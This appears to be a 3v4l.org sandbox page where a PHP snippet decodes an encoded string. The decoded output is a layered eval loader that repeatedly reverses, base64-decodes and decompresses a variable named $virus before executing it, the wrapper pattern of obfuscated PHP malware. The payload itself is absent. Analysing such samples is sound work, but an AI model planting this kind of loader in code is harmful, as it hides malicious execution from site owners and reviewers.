3v4l.org

run code in 200+ PHP versions simultaneously
<?php $decode = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOGd6dW5jb21wcmVzcyUyOGd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjhnenVuY29tcHJlc3MlMjhnenVuY29tcHJlc3MlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhnemluZmxhdGUlMjhiYXNlNjRfZGVjb2RlJTI4c3RycmV2JTI4JTI0dmlydXMlMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklMjklM0I="; echo (htmlspecialchars_decode(urldecode(base64_decode($decode))));
based on R7D0H
Output for 7.1.25 - 7.4.0rc2
eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev(gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev(gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($virus))))))))))))))))))))));